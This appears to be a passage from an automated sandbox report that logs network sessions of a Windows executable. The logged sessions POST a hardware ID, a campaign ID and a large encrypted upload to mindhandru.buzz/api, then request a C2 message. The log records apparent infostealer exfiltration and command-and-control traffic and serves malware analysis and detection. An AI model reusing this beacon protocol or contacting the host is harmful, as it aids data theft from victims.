2024-12-27 14:00:54 UTC	15331	OUT	Data Raw: 2d 2d 57 33 57 48 34 37 37 55 55 34 41 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 41 31 34 41 33 30 34 46 31 46 33 32 38 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 57 33 57 48 34 37 37 55 55 34 41 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 33 57 48 34 37 37 55 55 34 41 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 57 33 57 48 34 37 37 55 55 34 41 34 0d 0a Data Ascii: --W3WH477UU4A4Content-Disposition: form-data; name="hwid"FA14A304F1F32836BEBA0C6A975F1733--W3WH477UU4A4Content-Disposition: form-data; name="pid"3--W3WH477UU4A4Content-Disposition: form-data; name="lid"PsFKDg--pablo--W3WH477UU4A4
2024-12-27 14:00:54 UTC	5200	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-12-27 14:00:55 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:00:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=58i3m2fqlv8jnv1lmrunf2cima; expires=Tue, 22 Apr 2025 07:47:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0VVgqvVvXSPJJ1GPli6vFm8pe3%2FJB3JWo0gm851mLAxLxJaqM6KGDG5qLM18Wpr7qhKLbl8AqfCZz3Jv271%2B4L0jpDztDo0ve%2BF8%2FoNuhFNTDAP4JB1wcwRDMEXtbYEmheM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d6eb4d9c72aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1805&min_rtt=1798&rtt_var=689&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21486&delivery_rate=1572428&cwnd=191&unsent_bytes=0&cid=3b9998bc4a88fff4&ts=986&x=0"
2024-12-27 14:00:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:00:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.11.101	443	6204	C:\Users\user\Desktop\mDuCbT8LnH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:00:56 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FJ9W5B5QS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1213 Host: mindhandru.buzz
2024-12-27 14:00:56 UTC	1213	OUT	Data Raw: 2d 2d 46 4a 39 57 35 42 35 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 41 31 34 41 33 30 34 46 31 46 33 32 38 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 46 4a 39 57 35 42 35 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 4a 39 57 35 42 35 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 46 4a 39 57 35 42 35 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --FJ9W5B5QSContent-Disposition: form-data; name="hwid"FA14A304F1F32836BEBA0C6A975F1733--FJ9W5B5QSContent-Disposition: form-data; name="pid"1--FJ9W5B5QSContent-Disposition: form-data; name="lid"PsFKDg--pablo--FJ9W5B5QSContent-Disp
2024-12-27 14:00:57 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:00:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a07jfdiqp86h6lt5ltvqgec7n9; expires=Tue, 22 Apr 2025 07:47:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Sq9%2B6auG5zaPZF0WYY%2FxL%2B5oRkcD2NEullXL8AKmGbxDU3Xn49DckSsTYmoEqMuQqqzTLEzVe3%2BygYHcx5YUwvJLjcM9IC1i%2F99YBMqj1IIlIqKUyXOv16B4S3h9FR7oFc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d6fb089b0f8f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1550&rtt_var=609&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2120&delivery_rate=1757977&cwnd=232&unsent_bytes=0&cid=307112e032ccfc86&ts=774&x=0"
2024-12-27 14:00:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:00:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49711	104.21.11.101	443	6204	C:\Users\user\Desktop\mDuCbT8LnH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:00:59 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6C706J5SV92I5V8SWX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550931 Host: mindhandru.buzz
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: 2d 2d 36 43 37 30 36 4a 35 53 56 39 32 49 35 56 38 53 57 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 41 31 34 41 33 30 34 46 31 46 33 32 38 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 43 37 30 36 4a 35 53 56 39 32 49 35 56 38 53 57 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 43 37 30 36 4a 35 53 56 39 32 49 35 56 38 53 57 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --6C706J5SV92I5V8SWXContent-Disposition: form-data; name="hwid"FA14A304F1F32836BEBA0C6A975F1733--6C706J5SV92I5V8SWXContent-Disposition: form-data; name="pid"1--6C706J5SV92I5V8SWXContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: f9 b6 e1 ee 1c 48 43 51 ca df 64 11 17 86 2f 47 97 d6 e4 07 4a cd 05 b0 5f 68 af 88 83 77 ca 2d d5 46 4d 4b d1 df 71 e7 fc cc 9e 28 c6 cb 6e fd 92 25 a7 78 cb de d8 f1 34 7f 4b ab c7 e3 be af c0 a2 8e 64 42 f7 0f 61 94 81 d9 68 15 ff 42 91 d4 b8 ac 44 61 9a a5 0b 74 29 55 32 6e 2d 93 45 19 12 bd 54 91 38 9e 11 41 b2 36 6d f7 95 ad 78 54 0b 4b 48 4a 6e 67 28 47 c2 42 89 de ac d9 e9 dd 82 60 59 88 91 4c 2d 3a 8d 0b b4 47 53 4b b6 3a 1d 9f 26 57 7a 3c c7 c3 5e 50 85 88 54 da 27 88 1e 23 cd 4a 8f 82 52 27 9c 19 ba 78 96 48 f3 e5 83 4c 07 d8 91 bb c8 ae 53 40 ad f2 03 fa 92 c8 d6 4e 34 3c a7 dd 0a 98 45 21 95 7c 28 50 5f 7a ac c8 0a b6 de 32 72 15 b2 5b bb 27 d5 f4 9c 69 7f f9 bd 2b 58 2b 3f 62 f3 4e 6b 73 a5 62 df fa 9c ab fd db c1 17 b8 fe 52 67 d7 02 01 07 Data Ascii: HCQd/GJ_hw-FMKq(n%x4KdBahBDat)U2n-ET8A6mxTKHJng(GB`YL-:GSK:&Wz<^PT'#JR'xHLS@N4<E!\|(P_z2r['i+X+?bNksbRg
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: c3 7c 88 6f 5e 7a fe ca 8c d5 40 28 3f 31 28 d0 8a e6 90 ad da ad c5 e7 29 49 1e fa 95 da 0c c9 33 e4 ff 3c 22 8e aa 56 68 48 3c 30 10 a8 8b 57 97 94 bb 60 9d 29 54 1d 1e 7e 70 9c d6 b8 6e 9a 90 39 df c5 66 1a 56 a8 7d 33 b4 9e 79 91 26 32 2e cb 7d bd 8d 78 cb 48 17 77 d0 36 a1 f5 d2 83 d7 ca 5e a4 5e c2 a1 91 7a eb 9a 93 d5 a7 11 d9 bf 61 d1 55 f1 57 53 d9 2d ff 8d 01 57 7a 8a 43 c0 6c c1 a4 66 97 dd 23 de b7 4a 8e eb 5d b6 81 27 4a f0 1c f0 1b f8 be f5 17 ef e7 bf 59 6d f3 5c 66 f5 b2 ed d0 c6 85 bb 9d 17 5d 5e 3b f2 9a 44 7e b8 05 bb 07 6c 54 da af 5f d2 75 e7 ce 07 2d a9 b7 ff fc 53 05 4d 57 05 69 a1 8c 42 e1 0a 43 88 3a f1 e8 b3 fe 73 43 ee da 4e 19 ce 12 60 a1 f0 73 83 6e 10 18 9a 45 30 97 cb 0f c0 88 bf 9a 6a 70 0b b0 d2 bf a9 5d d7 06 bf 4a 11 15 Data Ascii: \|o^z@(?1()I3<"VhH<0W`)T~pn9fV}3y&2.}xHw6^^zaUWS-WzClf#J]'JYm\f]^;D~lT_u-SMWiBC:sCN`snE0jp]J
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: b6 98 8b e1 4a 01 a6 ff 4c 65 45 0a fb ad 10 0a c5 2d f1 ca f6 ef 24 3a c0 e1 81 7e 2a 9f f7 0a a4 be a6 10 ba 17 8d e4 ec d4 8a c3 6e 10 a3 ce 9c 17 1d a1 bd fb d7 c4 ec bd 5b 5f 3d 8a 00 c8 8a 5e 5d 32 69 ca 11 93 4a dd 68 46 f7 a5 59 a4 3a 11 47 91 05 ff a7 47 c8 7f bb fb 53 ff 5e d9 a5 ff 0b 42 c0 d1 34 48 6b 22 c4 bc 96 00 b2 3d 3d 39 9e 7e a0 de 75 c7 c1 57 21 81 cd 7e 68 f2 03 d8 55 2c 5a 1a de ec 14 58 bc 0b c8 9e 56 60 74 fe b3 5f 7f 64 2b 66 3d 0c ac 49 72 85 95 16 ed 00 fc 65 f0 dd 70 a5 f7 fa c3 aa ca df 73 97 f3 f4 bc db d1 e7 05 b0 25 56 6a 8c 64 43 a0 40 a0 79 9c 14 d4 ce d1 98 ca e8 89 cf 61 bc ea 70 d2 45 d3 d2 2c 90 54 f3 62 cb a6 70 7a b0 06 2e a8 26 7f 86 f5 f4 c6 58 77 e4 e4 2c b3 2e 86 5c 6d 6c 4e 72 90 58 1b d4 5f 4e 28 c4 32 eb 4d Data Ascii: JLeE-$:~*n[_=^]2iJhFY:GGS^B4Hk"==9~uW!~hU,ZXV`t_d+f=Ireps%VjdC@yapE,Tbpz.&Xw,.\mlNrX_N(2M
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: db 74 c6 04 f6 9f 98 b3 2a a6 8e 62 ce e5 45 ed 4a 0a a1 e1 cf 51 5c 05 2d 7b 85 aa bc af a5 4a c3 da dd 6f 9b 48 0a 9c 2d bd f9 71 a4 1c 89 f5 f1 f3 db 0f 09 35 74 1a 73 af e1 20 68 63 2b a9 b8 c9 11 42 43 58 68 05 bf 0a d6 89 d9 7b 49 b4 c7 f6 db d8 c3 29 a8 4a fe 61 c2 8b fc e6 77 f5 73 d7 17 c2 63 af f5 1d 08 6a c3 e7 45 85 ef 00 ea a1 f4 24 61 57 e7 54 1f a1 73 00 79 e4 55 ca 83 c9 28 72 b4 17 f4 4e 21 01 10 06 20 bf fd bd 7f 1b 0f 44 ad 1e c5 49 0b 37 64 ec 6a ae 0b e3 e7 97 62 ff 12 17 53 c0 8a 1c a0 2f 07 b6 0a 55 6d c2 a5 9e 1f 5f 1b 96 33 e2 58 8f 6e 44 54 b8 28 84 f2 83 9f 1e 32 37 5a 4e 63 61 ef 3f 9e 47 ab 9c 52 14 5a ea 22 f9 81 c5 22 f0 cf 4d 6b b6 bc 6b f1 c3 2f b7 8e 3e 3e c2 29 67 bd 5b d6 24 cb 8c 1f 15 34 dd 33 f1 76 86 a1 09 64 51 b4 Data Ascii: t*bEJQ\-{JoH-q5ts hc+BCXh{I)JawscjE$aWTsyU(rN! DI7djbS/Um_3XnDT(27ZNca?GRZ""Mkk/>>)g[$43vdQ
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: 1a 05 fa 97 c6 38 92 16 74 19 a0 af f5 67 df 31 c3 66 19 6d 5e c3 d2 0f 0c f8 b4 c1 fc f9 c6 75 61 c3 9f 2a f9 21 82 57 74 0a 9b d5 04 3b 4b e7 fb 23 63 0c cf 23 fb 79 5d d2 1b 0a 7c 3e 67 e5 b8 4b 87 a1 da fa 4d 13 54 a2 c0 fc fc 2d e1 e9 af 80 1e ff 69 be f4 06 3b 1d 50 4a 21 38 d3 fb 08 72 f3 08 af 30 87 6f 03 bd fa b9 16 0b c7 fa 6d 39 f1 da e7 4a ff 64 a3 03 45 60 b4 1a 29 54 c0 48 2b ae 3a e3 db bc 05 0b ae 6c f8 9f 96 86 94 24 10 22 93 f8 ed 9b 0b 08 3e f1 d3 22 df 89 e3 3b 29 d5 80 a0 78 75 e3 f9 80 2c fc 0b 0d ec a1 41 2c 20 cb 4a 7c 23 d1 c5 20 ba c5 39 81 34 1c d8 83 52 f8 7d 88 ee 45 20 ec f7 04 65 37 90 7c d1 a9 81 80 8f ff 81 77 ed bd f2 e5 bc 13 d6 15 c5 c7 cc 4b fc e2 88 7d eb 2b b1 aa 22 f2 cd 8e e2 77 b8 b0 76 72 71 ea 09 ba 8b 2f 42 7d Data Ascii: 8tg1fm^ua*!Wt;K#c#y]\|>gKMT-i;PJ!8r0om9JdE`)TH+:l$">";)xu,A, J\|# 94R}E e7\|wK}+"wvrq/B}
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: 43 a5 cb 00 d4 6e ac fe 51 04 51 2b a9 8a 3f 78 21 4d 2b cf 4a 42 d6 d7 02 ff 64 53 68 21 63 2d 7e 3c ee c6 8f 56 ea 6a f9 79 34 75 80 e7 cb b3 5d ae 08 cf 56 d2 23 d6 ec b9 10 b3 96 79 64 e9 df c3 47 96 d6 59 54 c3 57 bd fd 21 1f c3 db 81 53 2b b7 c6 9b a3 7f 75 f4 bf a9 ad ac 31 c0 b8 7b 24 64 a5 5f 0e 88 03 2f cf ff 5b 11 aa 6d c8 e7 75 5b d4 ff ec 49 59 8b b3 5f dd de f9 24 72 ab a6 3d 50 21 29 c3 ca 74 ef 92 13 d3 e1 4b 48 1d 13 7c 6a 83 12 ea 68 32 d6 59 40 e0 72 6f 54 e9 2e 52 cb 37 f4 cb ff 7f ad 60 70 f0 e6 aa d1 2b a0 2d 9e 2e 0e b2 a4 d1 4a fa e0 18 b6 b8 ad 54 43 e4 db 7d 38 e2 e8 bc 41 04 77 ab 03 0e 92 5c 3f 69 a4 2d 03 e0 c9 f5 5f ea f5 de 42 14 ad e8 d2 6f 33 99 2e eb 05 24 a7 d6 f1 c8 12 ec f6 54 9e db 6b b4 eb 4d d3 b7 a8 8f b6 61 91 c9 Data Ascii: CnQQ+?x!M+JBdSh!c-~<Vjy4u]V#ydGYTW!S+u1{$d_/[mu[IY_$r=P!)tKH\|jh2Y@roT.R7`p+-.JTC}8Aw\?i-_Bo3.$TkMa
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: 5c 36 6a 4d 56 7e d7 9e 94 70 0e 82 8e 91 3e ec ee aa fb 91 d8 85 55 62 d2 9e 2c 2a 36 3b c8 37 fe f1 3f d9 28 f0 9a d5 b5 b7 d8 39 93 e3 e3 7f 96 a6 de 79 54 9a 38 a6 fe b4 6a 8c bc 56 b5 25 be 20 36 e6 55 01 03 16 a5 f1 6c bb 78 c5 74 52 5f 7a bf f9 93 0f 0a 63 fe 79 1a e2 16 ef 7e b5 4e 8e 87 53 e3 07 29 df 2d cf 3d 29 0f 92 15 3f 56 97 11 44 38 e5 e0 55 f5 8b e4 a1 b1 33 b3 10 1b 10 ff fe 27 e4 f3 24 cc 41 dc 1c 8c 02 9e d2 f4 ba 06 27 e7 8c 6a 4b 71 30 bd 8d d7 b2 27 3e 4c b0 3f 36 98 b8 28 f7 1b 9a 3b 1a 52 9e 07 04 23 0a 6b 39 f6 df 08 a7 55 8d b0 72 6f 6e b9 14 d4 06 21 89 26 36 7a ac bf 50 7f 65 a2 cb 22 68 0a f1 cb d3 76 c7 07 09 53 bf e0 23 a5 7b da 47 9f be 2f 61 bc 6f 7a 2d bd f5 f7 a7 c1 2c 32 99 73 2b 29 71 9d 66 4c e0 53 f5 e3 fd c4 b6 ba Data Ascii: \6jMV~p>Ub,*6;7?(9yT8jV% 6UlxtR_zcy~NS)-=)?VD8U3'$A'jKq0'>L?6(;R#k9Uron!&6zPe"hvS#{G/aoz-,2s+)qfLS
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: 6b 7f 3b cf d1 9a d3 4b 3c 68 69 22 ee 38 4c 18 3b f9 98 bc 36 64 59 7a 64 d3 1f c4 43 9a 74 3b bf 36 a5 89 28 bd 78 a0 da cc 7d 75 db 32 79 12 9a 07 33 04 21 a5 4b 96 ef 4f 42 f1 6b d6 b0 29 cf df 78 ba c9 55 b7 33 c7 54 df 25 21 35 e5 69 75 82 fc 4f cb fa 53 d2 17 49 d7 aa 3f 54 a9 ce b8 8e d8 2a 11 f8 75 fd a4 34 28 3b 8f 8a b2 88 b2 34 b3 76 d6 f4 54 b3 cc d0 c1 1d 1a dd 6f 19 cb d8 04 b2 03 b0 f2 4a b5 01 bb 5b 9e 5e 0b 16 05 c9 71 d2 51 16 b1 31 e1 b5 bb 23 5a d3 7b 23 a1 cc 95 e0 ff 79 3d 44 f6 bf 5f 2f 99 de ee 7f 20 0e b2 70 98 ff cf 01 9a 22 d3 6d b1 f0 bd d8 7c 85 d3 9d d7 ac 3f c7 6f 92 a9 9a a0 56 53 4b d0 b6 c7 76 c9 a9 46 db bf c7 2a 19 d1 bf 0f 71 a4 72 4f 8c 88 d2 87 58 a9 e8 aa 06 31 25 39 6f 02 f1 8f 78 58 93 ad 74 d7 f6 1d 5d 72 db a5 Data Ascii: k;K<hi"8L;6dYzdCt;6(x}u2y3!KOBk)xU3T%!5iuOSI?Tu4(;4vToJ[^qQ1#Z{#y=D_/ p"m\|?oVSKvFqrOX1%9oxXt]r
2024-12-27 14:00:59 UTC	15331	OUT	Data Raw: c4 74 26 3e 7b e4 f0 3c 40 34 02 3e 2e 8d 6c 88 94 a5 78 a6 a0 ed e2 32 7b 9f 46 93 aa cd 28 1a 6c 9a d3 07 43 c5 3e 0f 9c 84 59 aa 69 f8 09 47 c0 b4 ed 52 83 35 76 5e fe 63 06 2d 49 13 64 c0 85 ad c9 99 07 99 99 41 dc 7b ff 7a 3b 35 5a 44 3a 30 d2 b1 f1 4f 37 4a 7d 5e 1d 55 d8 88 69 78 52 e5 73 42 7e f2 fd 8a df 16 aa 79 2d 53 0c fa eb 4b b5 aa fc 52 f9 5e e1 37 5f aa b1 ff 11 06 de 1c b4 28 2d d1 a1 c0 e1 a7 e3 7d c9 ec f4 28 f3 2e 59 a9 cb dd d5 56 04 bd 26 63 30 4a c4 4c 14 1e 3a 95 67 e8 1e f7 be ee 2c ad a7 d0 f4 63 2d 1c 74 96 b6 55 7c d3 bf bc 1f 8b 59 3c 38 f8 57 85 9f 04 95 34 3c a4 4a b7 8d 89 5d a3 7c 36 5a af 77 30 6c c9 ac 7a 8f ca f4 81 4f e1 10 ea e2 fe 14 3f cb a0 b9 ef 6f 0c c7 7a 1f cf 26 92 1d 78 f2 0b e7 4f bb 78 d5 b8 d7 84 a0 e4 e4 Data Ascii: t&>{<@4>.lx2{F(lC>YiGR5v^c-IdA{z;5ZD:0O7J}^UixRsB~y-SKR^7_(-}(.YV&c0JL:g,c-tU\|Y<8W4<J]\|6Zw0lzO?oz&xOx
2024-12-27 14:01:01 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:01:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=daapelnbd4knpmensb71nhpi02; expires=Tue, 22 Apr 2025 07:47:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aWb7S%2BFxxurMvDBEfn%2FgDXvbidolvEsvaxpz3wLjroj9T0TDdBwBg1q5Twq5x%2FRQQ%2BWXtrIw2M3m%2FmAHEsPEpxoYQz%2FMx9tcgQxSIEPwfOqtU8aLIwjXDwFHxTjyhwWwTpk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d70aab320ca6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1451&min_rtt=1440&rtt_var=562&sent=316&recv=578&lost=0&retrans=0&sent_bytes=2838&recv_bytes=553411&delivery_rate=1907250&cwnd=221&unsent_bytes=0&cid=5cebb397b0286504&ts=2594&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49725	104.21.11.101	443	6204	C:\Users\user\Desktop\mDuCbT8LnH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:01:03 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: mindhandru.buzz
2024-12-27 14:01:03 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 46 41 31 34 41 33 30 34 46 31 46 33 32 38 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=FA14A304F1F32836BEBA0C6A975F1733
2024-12-27 14:01:03 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:01:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f2676ime7np3rfl5bnu5a1bm72; expires=Tue, 22 Apr 2025 07:47:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wWdBAJjC6v798vlEbJyZ6p62NmSw0Vt1ri9cB2tj9qvjYqUYGjuIGf9NtCTS%2BLA7XEJFG%2Bhpl5lV9UY2CKt0bko9QbVjFtwfp7B0xQ4hpxi967Nt8lvNmSmGqn69HCRnfqM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d7238e8d6a55-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1623&min_rtt=1603&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=981&delivery_rate=1821584&cwnd=235&unsent_bytes=0&cid=65a005306ad96333&ts=812&x=0"
2024-12-27 14:01:03 UTC	222	IN	Data Raw: 64 38 0d 0a 61 72 72 56 45 51 50 4e 65 50 39 68 39 70 56 2f 76 75 58 71 57 65 61 58 52 55 67 76 58 5a 53 6a 33 48 47 39 77 4b 33 30 6a 47 51 78 77 66 64 6b 49 66 64 61 6c 78 57 43 35 55 58 69 79 72 5a 32 31 36 39 77 5a 68 31 73 6f 59 33 74 51 49 37 75 6e 4d 4c 51 53 78 6e 4f 73 48 42 75 6b 56 65 4e 41 4a 6a 78 45 4e 50 4c 6a 79 47 44 74 57 6c 71 53 53 6d 32 6d 65 78 64 6e 36 57 50 7a 72 77 5a 52 73 48 33 5a 43 48 33 57 70 63 56 67 75 56 46 34 73 71 32 64 74 65 76 63 47 59 64 62 4b 47 4e 37 55 43 4f 37 70 7a 43 30 45 73 48 30 37 74 30 58 2b 49 4b 6e 67 2b 53 2b 68 4b 51 67 4a 49 38 78 4c 74 6e 4c 6c 74 2f 72 70 50 77 55 39 6a 69 6c 38 54 78 4f 51 3d 3d 0d 0a Data Ascii: d8arrVEQPNeP9h9pV/vuXqWeaXRUgvXZSj3HG9wK30jGQxwfdkIfdalxWC5UXiyrZ2169wZh1soY3tQI7unMLQSxnOsHBukVeNAJjxENPLjyGDtWlqSSm2mexdn6WPzrwZRsH3ZCH3WpcVguVF4sq2dtevcGYdbKGN7UCO7pzC0EsH07t0X+IKng+S+hKQgJI8xLtnLlt/rpPwU9jil8TxOQ==
2024-12-27 14:01:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:00:40
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\mDuCbT8LnH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\mDuCbT8LnH.exe"
Imagebase:	0x330000
